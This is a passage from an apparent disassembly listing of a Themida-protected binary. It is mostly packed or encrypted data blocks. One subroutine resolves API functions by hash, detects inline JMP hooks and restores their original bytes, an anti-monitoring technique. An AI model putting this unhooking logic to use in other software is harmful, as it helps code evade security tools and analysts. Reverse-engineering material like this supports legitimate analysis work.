9069E6CBh, 1566883Ah dd 1564C43Dh, 74062232h, 0D657C903h, 1C8F5003h, 0A0664432h dd 7053C96h, 0CBC5327Eh, 0AD367199h, 15664430h, 11EDE433h dd 11A29216h, 156B033Dh, 1D8F4432h, 0E0662232h, 0C0EC3943h dd 9C4D0844h, 56CD587h, 90A1D734h, 13763B2Fh, 15668833h dd 0E2D94B52h, 3B3C098Ch, 9D697057h, 15668838h, 1A072452h dd 156622B7h, 41367032h, 15628D6Ah, 0D5E54432h, 3162A536h dd 14E41E6Eh, 0EC668832h, 15664ADBh, 65A94C32h, 468A35E6h dd 1946F604h, 9E80BA94h, 9C31062Eh, 11A190D5h, 96668832h dd 29E140F5h, 9D697E16h, 1566113Ch, 156681DBh, 0AFAA5532h dd 0BF946DACh, 19ED4D89h, 0F6EFDB16h, 156287B3h, 0D6E52232h dd 317A9636h, 9C30706Eh, 11A0C5D4h, 96662232h, 0EA3015F4h dd 4B62AC46h, 494240BDh, 0F7EF70CBh, 1562D3B3h, 0AD368832h dd 15664436h, 923EE033h, 0EC3A3526h, 0EABC6BDBh, 1A0624CDh dd 156622B0h, 0FBAC9032h, 746126D5h, 4007BF86h, 0C868E28Fh dd 0A1AB9059h, 5008302Ah, 942B91C5h, 17872AC7h, 488838A2h dd 157461CEh, 300F4432h, 63BE8B0Dh, 0AE0EE6FFh, 0B7721928h dd 1EE80C82h, 0A5829561h, 15D13D37h, 4ED18CCAh, 0EC9F2452h dd 0FFDE4453h, 0E0CC705Bh, 0CADED864h, 147FE94Dh, 4D620676h dd 6AB93C6Ah, 7506919Fh, 0AB0025CAh, 43070289h, 4F36AF8Ch dd 4B96A151h, 0AB63BC1Bh, 0EC057862h, 1561953Dh, 0A5068832h dd 0E3D14BFDh, 7D317053h, 7C1A44A6h, 0C089096Dh, 0E2634670h dd 5091A3EDh, 9CFD94DFh, 0C54FD7C8h, 1576AD68h, 3F5E2232h dd 0C993B5C8h, 0E26F3A06h, 3340D636h, 0E0CD19C0h, 10869862h dd 15668836h, 926284B1h, 31ED0636h, 94007116h, 0A499E9E4h dd 9ED25D7h, 0F0EF7716h, 1562D4B3h, 0D0E58832h, 314AC336h dd 1560CB6Eh, 0BD1F1132h, 0F8F1E326h, 316ACFCBh, 9483AB67h dd 156615F7h, 11A30B32h, 494268B5h, 3152A9CAh, 94839867h dd 15668CF7h, 11A3C732h, 49420EB5h, 0F6EF42CBh, 15623260h dd 0C6674432h, 11A5A168h, 49420DB5h, 0AF06E8CEh, 3FA5A98Bh dd 0EFD92D53h, 0C9EDF853h, 0AB0677CDh, 3E9806ABh, 37E3E553h dd 10600694h, 75668832h, 9EA1FB3Dh, 750643E4h, 0DAE777C7h dd 740739D5h, 314AC564h, 40B4F9Fh, 94420DB9h, 15668CF6h dd 0B8A5C532h, 1A774F5Fh, 156610B6h, 40307432h, 1566408Fh dd 4888AB32h, 1A38E233h, 156691B1h, 1572AD32h, 6C632232h dd 0A61655A6h, 13756B2Dh, 18E1F1FBh, 0FD578F06h, 0AC3751C6h dd 15668832h, 0C65B533h, 94422EB9h, 156615F6h, 1EE88732h dd 75664432h, 4B67F8B3h, 0DBE64ABAh, 90EDE923h, 137669D7h dd 157BA03Dh, 0FD061132h, 15668822h, 9C4A30A7h, 0CC7244B9h dd 87505EB0h, 313B942h, 0DFE7226Dh, 9E075808h, 54E4CA7h dd 429A7D34h, 6210858Dh, 0D2E76D39h, 0E1EE980Dh, 0FC397633h dd 15664420h, 30C4519Eh, 258E4C88h, 5E0BF17Eh, 0AC842AC0h dd 0A8E5E971h, 1376059Fh, 0FEE28733h, 1A664437h, 156623B1h dd 0CD5DE832h, 155A0A3Dh, 75064432h, 15662FDAh, 23838532h dd 0ABFF4BDAh, 0F5A46F2Ah, 1A3FBCE8h, 156611B9h, 0AA00E932h dd 2E07403Ch, 52E02DE8h, 75661133h, 0E6D98752h, 0E12796B3h dd 0AB077494h, 5993B4E4h, 0A0EF7053h, 13764EA3h, 9F694352h dd 15661133h, 37FB03CBh, 75605394h, 0ED3F7452h, 2CF7AE53h dd 4007EFB0h, 287D378Fh, 310A2316h, 49674C22h, 79E78416h dd 0E154816h, 9369060Fh, 15661133h, 103A61CEh, 0E0064432h dd 315AA953h, 94819865h, 15668CF5h, 11A1C732h, 49421EB5h dd 12E11ECEh, 1A668832h, 156645BDh, 90A1DB32h, 1376059Fh dd 15668833h, 16E54B52h, 73662232h, 18FE3B9h, 73668832h dd 0D4FAAD62h, 0D9535442h, 9E7678ACh, 0EF9D39EDh, 74F9A019h dd 45423EB9h, 1163F1BBh, 10668832h, 15664436h, 494226B5h dd 156619DBh, 0B27AA032h, 994A0DECh, 316AA9EEh, 94839867h dd 15668CF7h, 11A3C732h, 49420EB5h, 156A933Dh, 92698832h dd 15664434h, 1566A73Dh, 21ED1132h, 0F3EFDE16h, 156282B3h dd 0D3E72232h, 15661136h, 4942BCB5h, 0F0EF11CEh, 1562E7B3h dd 0D0E51132h, 314ABB36h, 26426803h, 1A3A061Eh, 156609B4h dd 15756132h, 4344432h, 0B071A860h, 0BE9C6A3Dh, 0AF427298h dd 30E334B4h, 0C24CCBB1h, 7306EECDh, 0E98B858Dh, 0A8E5BC53h dd 1376082Fh, 4AE21E33h dd 0FC668836h, 15664422h, 0D24057F3h, 8A71E53Fh, 502D2646h dd 95B0FCB7h, 3883BF19h, 9E9A1722h, 56CADBFh, 0FCE7B834h dd 2165F19h, 46B9F8B3h, 0CC67B117h, 46B985B3h, 0D4E71B17h dd 2166C19h, 15668DDBh, 46CF7C32h, 0AD36BAEFh, 54A63281h dd 206E68F3h, 0E6D4FF16h, 3C3EE333h, 318F90CBh, 1A55193Ah dd 156645B0h, 0AA31DB32h, 338E19DEh, 1D8167B3h, 0EC4F62DAh dd 0AA00426Dh, 0CAE79558h, 59FF3807h, 0A1361653h, 868AA2D2h dd 0A53EF7BAh, 4F96B896h, 1568C73Dh, 1C8F2232h, 68661132h dd 0C9D7EEBCh, 0FDF513A2h, 0DD57DA98h, 0DD57D003h, 9C6923CAh dd 15664435h, 1567A13Dh, 429E1132h, 0AE356FBBh, 15664436h dd 963DFD33h, 29E115F5h, 9A69D416h, 15664429h, 15ED2D52h dd 0FD661132h, 1566883Fh, 68C8CA07h, 4ACDB712h, 0C7D1D7F1h dd 0EA07D2DCh, 943D6006h, 156626F6h, 19EDE832h, 0F3EFDE16h dd 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h, 3152BBCAh dd 11A2A16Ch, 1C8E7152h, 50668832h, 7FB95A1Ah, 0AD019C7Ch dd 0FC07E86Ch, 15668822h, 771F4FA3h, 8D117689h, 0F6A076DEh dd 0CBC1941Ah, 0F6EF1753h, 1562E1B3h, 0D6E51132h, 317A0F36h dd 0FC4260B9h, 15662238h, 0F443E27Dh, 830ACBBEh, 0B78FDE76h dd 0E999DDEAh, 0B34494F5h, 15648E25h, 7D9A4432h, 15661629h dd 9C423DBBh, 488D01C7h, 940024CAh, 74F8E9D0h, 1A68A73Dh dd 156689BFh, 0ECE6BC32h, 39E52DB2h, 0E0661132h, 1E0963B3h dd 0FEE74589h, 755614D9h, 0D6E7DA33h, 7556BED9h, 1E0987B3h dd 45932389h, 0EA99EE8Ah, 4DA5A1CDh, 15E1ADC7h, 479E2232h dd 0E7E63780h, 12844823h, 0E330AEB2h, 95A4DCE8h, 0D4E639C0h dd 95B7A0A9h, 753CDFDBh, 156627DBh, 0ED024932h, 9B69A544h dd 15664433h, 9A6943CEh, 15661133h, 3FF3E0CBh, 19EF4432h dd 317AD516h, 4034ED6Bh, 0F20ED18Fh, 0D0A3C56Bh, 9412D218h dd 6247CF7h, 0F0A7CD7Bh, 148BC53Ah, 9C8CF7B9h, 0C4474CD8h dd 749AE868h, 562F87B3h, 0DE4F00CDh, 562FA863h, 0DE4FAACDh dd 9400246Bh, 0AE924FDDh, 3E157A15h, 0F0E30353h, 0FC60541Fh dd 15662239h, 293F2932h, 16E8B808h, 9E7DC82Bh, 54E7FA7h dd 12E81E34h, 75668832h, 9EC585B2h, 0D18F43ECh, 0E999EEC9h dd 0B3440DF5h, 15644225h, 1A062232h, 156613B4h, 7307E832h dd 368AAB3h, 118AA153h, 9C423DBBh, 488D01C7h, 156654DBh dd 6D1C4D32h, 3ACC7F78h, 0A995B048h, 9F974175h, 1BD02DC6h dd 0C4D11E52h, 959F0853h, 153AC73Dh, 0EC062232h, 3AD84753h dd 142B7338h, 0DE671AC1h, 1F49C9B3h, 128F5CC9h, 36668832h dd 0DA204CFBh, 0AA318EEAh, 0EA99EECDh, 0ED39731Bh, 15B7ADCBh dd 0FC062232h, 15661121h, 2A5EBE87h, 0C35968F0h, 0A4331CBFh dd 0A951A623h, 0FC80BE19h, 15664435h, 0D0C18BB6h, 7404BE99h dd 13D8EE52h, 0A7342547h, 1384E215h, 190EA162h, 0EB6DAC01h dd 317660FAh, 3DB42686h, 0D7E649F0h, 70AC08EDh, 3D74B6B2h dd 9B6978E3h, 1566113Ah, 1564013Dh, 74064432h, 0FCE7F3C5h dd 0EA99EECDh, 15668DDBh, 7AB98D32h, 0F9E52FCCh, 317A9836h dd 40027589h, 46ADC531h, 944C2E60h, 0B060ABF1h, 9E8D095Ch dd 942FC915h, 176C7FF9h, 32AD9033h, 94516F17h, 0E218C4D9h dd 4EBF0345h, 15661FDBh, 38048B32h, 16B72CDFh, 88ED9CB8h dd 409D4FD5h, 28269B8Fh, 488D6D57h, 0D6E7E91Bh, 705B5121h dd 0D6E7EE52h, 0AC00829Fh, 9E07EED7h, 54BF4B7h, 15616134h dd 72574432h, 0B2F1F787h, 1563F8A1h, 97F78832h, 9ED4E7E5h dd 54E7FA7h, 1C8F7134h, 0CF668832h, 9A321798h, 0FDA9F4D3h dd 1564923Dh, 74068832h, 8DBC753h, 14603218h, 0ED53953Dh dd 940677CDh, 35F404D0h, 74979752h, 9769C909h, 15668825h dd 156EC43Dh, 9B692232h, 15661130h, 0C65FE952h, 0FBB8C23Dh dd 459FDDCDh, 0EF0C898Ah, 0A45854Ah, 53631D73h, 3CE026B2h dd 1B8F49F4h, 0A668832h, 8330835Bh, 32C974CCh, 3445BBB8h dd 9E3070DDh, 0D1E5603Eh, 156FCB36h, 311E1132h, 0C4E101B2h dd 943BA932h, 321140F3h, 429F381Bh, 2E181A8Dh, 0C5A1C528h dd 3C68C9CAh, 9B694ECBh, 15668833h, 7612CCBh, 9EF2232h dd 1563AA16h, 0CC4F8832h, 78F2469h, 0CB662232h, 624A4B85h dd 0B3CB9B32h, 2BF9C58Fh, 0AD3A01C5h, 0A507E895h, 1D86481Dh dd 258FF260h, 0FD0678C2h, 15661137h, 1212CEDDh, 4E072496h dd 0CBD92D52h, 74A89A54h, 1A932253h, 15665AB5h, 0DE22D32h dd 0FC661132h, 15668821h, 3AFB47C0h, 4EEBD785h, 0F711DFA6h dd 6CAC47DAh, 2448F631h, 24A713FAh, 0FDE771FAh, 762E85E8h dd 0BE07A5B8h, 15662BDBh, 27565F32h, 6075E02Dh, 0F78FD912h dd 7599DDE6h, 9BD9054h, 74B83FB7h, 1566FF61h, 0E6672232h dd 9ED12B8h, 11A20B16h, 1568CD3Dh, 1C8F2232h, 0A2661132h dd 49F8C122h, 0C6CE4AD7h, 1A8E1ECBh, 15664FB6h, 0A6D8E832h dd 0ED55FE98h, 9E004253h, 74DFA4C8h, 250AE061h, 5E3D651Eh dd 0F6B7F9C5h, 75B0D2B3h, 0CDEFCA6Ah, 964258B9h, 48F26F6h dd 83661132h, 64503406h, 7FE2D119h, 0BE7A6ED7h, 488C0ED6h dd 156686DBh, 192C2232h, 0CAC03D62h, 840FE050h, 0FCBC9C3Bh dd 156645F3h, 1567A33Dh, 409E1132h, 0D0E76DBBh, 15664436h dd 1562CFB3h, 39E11132h, 9EFD416h, 1561AD16h, 0AEA52232h dd 0A5502CA5h, 9C35DD4Eh, 4EBBCDC1h, 1A3BC9BBh, 156609BAh dd 15756132h, 53D94432h, 0E45DA6F6h, 0DF9F7152h, 82069651h dd 22C0C3BAh, 14DC70D7h, 94661132h, 0D6C18F0h, 94944563h dd 0D6CB2D8h, 4F7C1263h, 156682DBh, 17EDF132h, 0F835DB79h dd 0FC173C4Ch, 15668826h, 4945B30Ch, 5A4C858Ah, 0FBBFA9FCh dd 0E101B25Fh, 554D6233h, 15639860h, 0C6671132h, 94429CB9h dd 156640F6h, 1C8E4232h, 61661132h, 41810BEFh, 1C0A88B1h dd 4EA79D3Dh, 1576983Dh, 1E8F8832h, 7B664432h, 0D13D3F9Ch dd 98B4849h, 44071808h, 0DDEEAC83h, 96422EB9h, 18F15F6h dd 71668832h, 0D616F093h, 0F9A12D13h, 611DE036h, 87833008h dd 0BF39D32Fh, 4B9F7552h, 4407C8B9h, 9827D48Bh, 32A7C50Ah dd 946A276Bh, 0FEF1FCF3h, 4CADA1EDh, 0D6E7BF1Bh, 31181042h dd 15661BDBh, 0CAF02132h, 6F3EC2E0h, 42C7FD09h, 1562AA61h dd 0CAEF8832h, 4A9D6D69h, 156AA23Dh, 90691132h, 15668834h dd 1566C53Dh, 0CD572232h, 0CD57D203h, 9C6923CEh, 1566443Eh dd 1560A73Dh, 98691132h, 15668832h, 4E4270CDh, 1562E6B3h dd 58F1132h, 0E668832h, 85470EFFh, 0E2C119D0h, 0E6404850h dd 4566FAE0h, 1566418Ah, 7F88A332h, 14658A1Dh, 7FA009F4h dd 4D65DF1Dh, 15662BDBh, 94545B32h, 5D4B1734h, 0AF3426D7h dd 15662233h, 1EDC1BBh, 11A20B16h, 156641DBh, 88840832h dd 138F08CAh, 0F8668832h, 64D3AF76h, 7D9AE1DAh, 1566283Fh dd 1A4284BBh, 156648B9h, 13E02D32h, 1A661132h, 156688B4h dd 23992232h, 3162A954h, 0FC64D5B1h, 1566883Eh, 9AA7B151h dd 0F4820A6h, 1E0CDBA4h, 91694B0Eh, 15664521h, 1AAD1ECAh dd 15671BB6h, 0D75A7432h, 1405C03Dh, 75062232h, 0FC074962h dd 15668823h, 64A325Bh, 4C14776Bh, 7B397164h, 0D8698F57h dd 0DF5A25C4h, 1459A63Dh, 138F1132h, 4E668832h, 728DCADAh dd 0EA5B442Dh, 74E21E17h dd 75668833h, 9FAFF33Dh, 1E8F43E5h, 7D661132h, 79CBF952h dd 5868F46Ah, 28002CFCh, 9069EE1Ch, 15668868h, 9480CE52h dd 3393B8D2h, 9A0E707Ch, 9C66887Dh, 17DD602Eh, 14662232h dd 4E659BC1h, 0A037EECBh, 738E64C2h, 94422EB9h, 156613F6h dd 15746132h, 0E1964432h, 0E6C1151Ah, 0E2095F2Fh, 27205D28h dd 65EB0CF7h, 9169820Eh, 1566107Ah, 156E0B3Dh, 9C694432h dd 15662230h, 19ED7052h, 0F2EFDF16h, 156283B3h, 0D2E72232h dd 15661136h, 4942B4B5h, 150EBCCEh, 9E662232h, 0D1E53536h dd 156B6136h, 0BFD4432h, 3375219Ah, 4A3BCAB7h, 0FC5FDBF7h dd 1566459Ch, 1E8F42CBh, 0A0661132h, 198E716Ch, 0E5AC905Ch dd 2407B579h, 1A8E71FBh, 33668832h, 2A38C7ACh, 0FCC7115Ah dd 9FDED841h, 1A39D8F7h, 156642BCh, 15EA2D32h, 74661132h dd 25853664h, 0FBE721A2h, 26840CBDh, 6458DFB3h, 0C391824Ah dd 9463A2F3h, 0DB09FDC4h, 4B97384Dh, 157761CEh, 2FA24432h dd 8D8115DAh, 8A855A0Eh, 0EA9CEF12h, 0FCCAA068h, 15662287h dd 16DB44CAh, 45668832h, 0D4EFACBBh, 1E8F7F6Ah, 0FF661132h dd 0EC8A825Ch, 690713CCh, 878F4277h, 1A661132h, 156687B7h dd 156CAD32h, 6E982232h, 3D356F09h, 289CD51Eh, 11E92C65h dd 0E239666Ah, 639190E5h, 9CDD2FC9h, 315ACFCBh, 7562E6B1h dd 15661BDBh, 7B0AD332h, 221B2B46h, 0FDE30AD0h, 1566113Fh dd 7655AA4Ch, 0A98B523h, 9B1CBF76h, 1568F8D7h, 0DD5E8832h dd 63D31AEBh, 0F6EC8492h, 16F0B4BEh, 3F8FE96Dh, 0E9664432h dd 45240A8Bh, 0FAAF9018h, 430B0C0Bh, 7C1D048Ch, 4D88A37Dh dd 24B985CDh, 0FC9ED6C3h, 1566443Bh, 10AB4E22h, 0A639CA3Dh dd 75C27BEEh, 1D8F8180h, 82662232h, 5C011487h, 74952EB9h dd 749E2452h, 48EBA953h, 0E960011Ah, 906941B7h, 1566442Dh dd 156EAA3Dh, 9A691132h, 15668830h, 98692552h, 15662236h dd 743C4152h, 3D3B3DBBh, 9E9F4222h, 9C37063Eh, 11A790D3h dd 94668832h, 156640F3h, 316AA532h, 0E3E6716Eh, 0D08E0982h dd 7420CC80h, 5C5C9D65h, 0C2917A7Eh, 399D47B3h, 0D2E73794h dd 1D2E6330h, 1A39E9BBh, 156689B2h, 75A5B832h, 0D63ED89h dd 17EF1E13h, 43668832h, 0FD062568h, 15662221h, 505BA53Eh dd 0DB37A735h, 0AF26F418h, 86A44618h, 0AF236297h, 73D595B9h dd 16EA4B68h, 95662232h, 7D07E9E8h, 156697E3h, 0AF4250BBh dd 15662232h, 9E00E333h, 299FD230h, 2AE24BF1h, 0ED662230h dd 1573903Dh, 58F8832h, 8B664432h, 0CDAFF13Ch, 0B8CEE9A4h dd 0B7DEB96Fh, 47EB15DEh, 9DA5AA61h, 0C6EE4AE8h, 14EC8768h dd 0ED664432h, 0EBFF9363h, 6BAF91FBh, 359449B2h, 0FC061DF9h dd 15662222h, 5440C8Dh, 5DB8CCF8h, 7C6264Eh, 70E652E9h dd 156603DBh, 0E8304432h, 3C9AA058h, 1BE979ECh, 622F5A80h dd 744ABAC5h, 1A16BFB2h, 15620FB6h, 0FC5AED32h, 14A20C3Dh dd 75064432h, 9A69E8B8h, 15661132h, 15746153h, 11C94432h dd 8BE77838h, 82E794B6h, 0FF529C81h, 28082336h, 1A8D1E53h dd 156788B6h, 198FE832h, 0BE664432h, 600F5FB3h, 31031C0Ch dd 742ED8EDh, 0F7E72252h, 9400E721h, 74EC45F9h, 91694A0Eh dd 15664540h, 156629DBh, 55023132h, 1195085Ch, 3D9DCBBCh dd 9169E90Eh, 15661068h, 156686DBh, 841CCA32h, 905CB9C6h dd 8C46C095h, 75C8E35Fh, 156649DAh, 4D6FEF32h, 0D562CC15h dd 0F63903A2h, 0AD0008E1h, 743837D4h, 30992C54h, 14420C3Dh dd 9C694432h, 15662227h, 0FC077152h, 1566883Eh, 0D71C5DDBh dd 7728646Bh, 61BE96B8h, 1AACB453h, 156745B6h, 94004232h dd 748B08EAh, 91696B0Eh, 15664760h, 94007552h, 4E4DEDE4h dd 1560063Dh, 90694432h, 15662232h, 3B5B7753h, 68E387CDh dd 75664432h, 45B5A954h, 949F7069h, 15668CDEh, 3172CD32h dd 15662088h, 9F941032h, 0E906D230h, 749DF33Dh, 0E3F89161h dd 95ADEFE1h, 0FEE60AD9h, 0D1D614EEh, 8B4A7916h, 9752833Eh dd 0D6564A36h, 4EBE646Ah, 15E82D52h, 0FD661132h, 15668823h dd 5F251E0h, 0FBFE7B7Eh, 7D92A10Ch, 41BBBF9Ch, 0E5D14B93h dd 0B55A4368h, 150E953Dh, 75068832h, 19ECACB3h, 1A071546h dd 156613BBh, 74950232h, 0B578558Ah, 1B492F6Ah, 382627A5h dd 758CBD61h, 289CFD63h, 0CC911A64h, 5197D0B3h, 0E4E7ECD8h dd 730641D1h, 253FC3B3h, 0E4E76ABEh, 6E3CB9C6h, 0E23F8C13h dd 0CA7D0FE2h, 0A306FF01h, 6A609F4h, 740704F1h, 15667BDBh dd 0FC06ED32h, 15668837h, 5BF790F9h, 0A0EF4389h, 1376396Fh dd 0D8FB05CAh, 1A60529Ch, 15662FBEh, 156EF832h, 0DC88832h dd 2FA537C9h, 9969AD2Fh, 1566113Fh, 156680DBh, 2CDEEA32h dd 51776EDAh, 0E0B5EE2Dh, 1422E067h, 39ED1240h, 11A2A116h dd 1425FCB3h, 0FDEFDE40h, 0FCA5B86Fh, 1566223Fh, 9C69B2D0h dd 42835F76h, 0CE7FFCBCh, 0F0EF7743h, 1562D4B3h, 0F8E78832h dd 15664436h, 49420EB5h, 754215BBh, 0EA0750B8h, 11ED5444h dd 11A2A316h, 75661132h, 157560CEh, 0EF694432h, 5C2BE9E5h dd 40462C83h, 97116631h, 66F40FFFh, 5F84A3FAh, 4F07309Ah dd 0F8E30153h, 0FC605413h, 1566223Ch, 23E37235h, 0FA461FFAh dd 0C9F92B94h, 219978F4h, 0D1E74916h, 15668836h, 1568AD52h dd 6D0C2232h, 470417E8h, 0F28006CFh, 0F81D3C73h, 157EAC3Dh dd 68F1132h, 7D668832h, 57E7127Ah, 14101632h, 55BCAB62h dd 0A741476h, 4407883Ah, 4A529D65h, 0D2E736A8h, 0CD0328DAh dd 1439BDBBh, 1A9A7BFCh, 156601BCh, 156D6132h, 0CD1B4432h dd 0CBE0E2D8h, 3C3B84A8h, 60DB054Fh, 1A605436h, 156623B4h dd 0FCCBE432h, 1566883Dh, 0F022E3C0h, 4996C794h, 0B27790C5h dd 0FCD7B74Fh, 15664437h, 91A881A1h, 0FE21407h, 7F4B9A1Ch dd 160AEB3Eh, 10420676h, 79C91D58h, 3B7C0C1Fh, 14E54B20h dd 0ED662232h, 1BEC1E99h, 75668832h, 1566C53Dh, 96692232h dd 15661132h, 24DB0553h, 1A60543Bh, 156623B8h, 0FCCBED32h dd 1566883Fh, 0D227F8E7h, 15814D0Ch, 6DDE2611h, 68318D0Ah dd 304B0DCCh, 16580372h, 10423576h, 2B47C817h, 0EB1B131Fh dd 0C6E7427Bh, 3355C974h, 74B00354h, 154EFF5Ah, 3162AB32h dd 156A973Dh, 98698832h, 15664434h, 1566AF3Dh, 0FCCD1132h dd 15668821h, 0DDE93D3h, 0A81F5EE7h, 897ADEF8h, 37DE39B8h dd 9873D5EFh, 54C578Fh, 156EF834h, 81908832h, 521BFBC9h dd 0FCCB798Eh, 1566113Bh, 0A21DA2A9h, 0ADBFBE43h, 21F60F88h dd 516563C1h, 0A833A016h, 679570A2h, 0FC3BCA33h, 1566113Ah dd 83C4029Dh, 4BACC650h, 14EA2D99h, 0ED661132h, 4B42BCCDh dd 156280B3h, 44062232h, 0CDB1C58Bh, 0FFD8D014h, 741C3EF3h dd 9C31DBF1h, 11A190D5h, 96668832h, 29E140DDh, 21EF7E16h dd 1563F816h, 0DB08832h, 754917E1h, 73AEA954h, 74CB818Bh dd 0B89215BFh, 0EA9A4224h, 8FD7E1h, 0F9FFFFCFh, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A452F2h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 665ACE25h, 0DCF1439Dh, 25E1332h dd 0D871BA8Ch, 42C3A8EDh dd 0AEA2458Ah, 60D558DDh, 0D138C882h, 462C43DBh, 25E5DF07h dd 0C6D552BFh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh dd 57B53606h, 52B0D9FBh, 0AEA452FEh, 0E96FDD7Bh, 51A25863h dd 195FABA8h, 0DCAA3075h, 259CC32h, 0CB2F168Ch, 133D20EFh dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h dd 0EB000030h, 0F392C00Ch, 6572F355h, 0D690955Eh, 662E992h dd 56E90000h, 14000006h, 0FC7B2F72h, 0CA510D44h, 0E76EEA23h dd 0C4530744h, 7F6DE120h, 0E01FD103h, 0FB3CED6Ch, 0D712B83Fh dd 0F62BD463h, 0B6754742h, 6BDB050Ch, 32410BE8h, 0DE504479h dd 7CB90900h, 15D6DCCh, 0E5BB6FECh, 38EC083Fh, 0C3AFF0A1h dd 9D4620C4h, 0EA77755Fh, 0EB070E5Dh, 6B173B37h, 8D79B86Ch dd 421C590Eh, 4CD56D1Ch, 1C0F6DCCh, 6DCC4CA6h, 382AE23Eh dd 0CC4CF151h, 3D19156Dh, 0E9835E20h, 8BA4F305h, 323D03CBh dd 0B13256B4h, 0B126D558h, 0BEDB56ABh, 0F03256D5h, 9F0AD95Fh dd 1963B725h, 7F77FC06h, 5DB9464Bh, 0B1325C47h, 0CF66E257h dd 0C83A541Dh, 59CA9B64h, 5E983EAh, 0F1B0A4F3h, 7AF29D11h dd 0FB2375FDh, 6D348C17h, 3FD525FBh, 9EADFDF5h, 2291627Ah dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F3A6987Ch dd 0FFA073EAh, 0E983F296h, 8BA4F305h, 26BD8DDBh, 8D0617A6h dd 182DB18Dh, 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h dd 754904C7h, 0EE9F6h, 95A70000h, 0CD5292D8h, 96123D9Bh dd 304D9092h, 48150F8h, 5F606824h, 0BE565826h, 265F6068h dd 605EF029h, 0F961C78Bh, 158DBD83h, 75000610h, 95BD8309h dd 61000h, 53501974h, 11B8C08Bh, 89000004h, 10132D85h dd 7C9D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h dd 11B85350h, 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h dd 60585BD3h, 42B7C3BFh, 0F2BF0F46h, 5E961h, 0BA530000h dd 682C55FBh, 1C44h, 58240489h, 18F0Fh, 60FC0000h, 81CA8B66h dd 9E937EEh, 0E8F86118h, 6, 0DF62F50Ah, 8B6688CEh, 0C3815BF0h dd 72CCh, 1C8968FCh, 0F5A0000h, 683h, 0E1E68100h, 8B1FEF3Fh dd 0AE83Bh, 0E1E30000h, 53BEA2E2h, 2A180768h, 8159C78Bh dd 410951EFh, 0CB8B665Bh, 78F4C781h, 13E860A3h, 0F3000000h dd 0E344A5CAh, 0F6A95526h, 7059532h, 0ABF2366Fh, 0EE8AC562h dd 0DBC7815Eh, 812ECA4Eh, 8F54B3E6h, 0DD805769h, 83038FC9h dd 0C78B04EBh, 1EA81h, 850F0000h, 17h, 0E9C38B66h, 20h dd 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h, 80E8ECEBh, 80E994E1h dd 1CFFFFFFh, 665177D3h, 126C3F42h, 0EDE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5CE57D proc near ; DATA XREF: Themida_:0054E4A4o pusha mov ax, ds test al, 4 jz loc_5CE668 mov esi, [ebp+6101441h] cmp esi, 0 jnz loc_5CE5BA mov byte ptr [ebp+61023E5h], 45h push 8E726969h push dword ptr [ebp+6101499h] lea eax, [ebp+613858Ah] call eax mov [ebp+61009ADh], eax mov esi, eax loc_5CE5BA: ; CODE XREF: sub_5CE57D+15j cmp byte ptr [esi], 0E9h jnz loc_5CE5F4 lea eax, [ebp+6159D95h] call eax mov edi, [ebp+6102955h] add edi, 1184h mov esi, [ebp+6101441h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+6101441h] lea eax, [ebp+613C1E7h] call eax loc_5CE5F4: ; CODE XREF: sub_5CE57D+40j mov esi, [ebp+6100875h] cmp esi, 0 jnz loc_5CE625 mov byte ptr [ebp+61023E5h], 54h push 0FF4EBEF4h push dword ptr [ebp+6101499h] lea eax, [ebp+613858Ah] call eax mov [ebp+6100875h], eax mov esi, eax loc_5CE625: ; CODE XREF: sub_5CE57D+80j cmp byte ptr [esi], 0E9h jnz loc_5CE668 mov esi, [ebp+6100875h] lea eax, [ebp+6159D95h] call eax mov edi, [ebp+6102955h] add edi, 1184h add edi, 8 mov esi, [ebp+6100875h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+6100875h] lea eax, [ebp+613C1E7h] call eax loc_5CE668: ; CODE XREF: sub_5CE57D+6j ; sub_5CE57D+ABj popa retn sub_5CE57D endp ; --------------------------------------------------------------------------- lea eax, [ebp+6183112h] mov [ebp+6103039h], eax jmp loc_5CE6B4 ; --------------------------------------------------------------------------- db 62h dd 145447h, 0Dh dup(0) ; --------------------------------------------------------------------------- loc_5CE6B4: ; CODE XREF: Themida_:005CE676j jmp loc_5CEB55 ; --------------------------------------------------------------------------- push 6183377h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61833E3h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6183521h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0C6h dd 0EE6DE124h, 0CC4BFF36h, 0D960DC15h, 0B645F936h, 7157D312h dd 645E715h, 0E122C352h, 0FD38EE6Dh, 0DC11BA41h, 98936D60h dd 6BD44E2Ah, 0D747CDCAh, 7C4002A9h, 2ADD6DCCh, 453D39EDh dd 80BD72E9h, 0FD3CF06Bh, 0A4D99209h, 1BFA1CAh, 9255BA0h dd 0FE156AF4h, 6E528B42h, 6134AD5Ch, 29B067FCh, 6A304D82h dd 0EB5302EEh, 0A943C27h, 0CE1FDA79h, 0AE397ADAh, 2D6h dd 37BA151Ch, 6A213BA0h, 67FC20F9h, 0D586411Dh, 91463EE0h dd 98935261h, 9146092Ah, 71216203h, 0E1FFD1F5h, 4609982Ah dd 0CBA07C91h, 5D10CBB5h, 0D7622F1Ch, 8100E7F9h, 5AEEBF6Ch dd 61789B76h, 0A24E72ADh, 225D11C8h, 88D5F26Eh, 6E906A71h dd 37D31C7Dh, 0C16871F8h, 9BB69901h, 8C7489E5h, 86D3579Dh dd 5973EF91h, 4F02DE2h, 4B354B20h, 78DEE722h, 658281E6h dd 5EF735EEh, 6A1DF5F3h, 30A7233Fh, 2B954277h, 0E5438014h dd 2E9A831h, 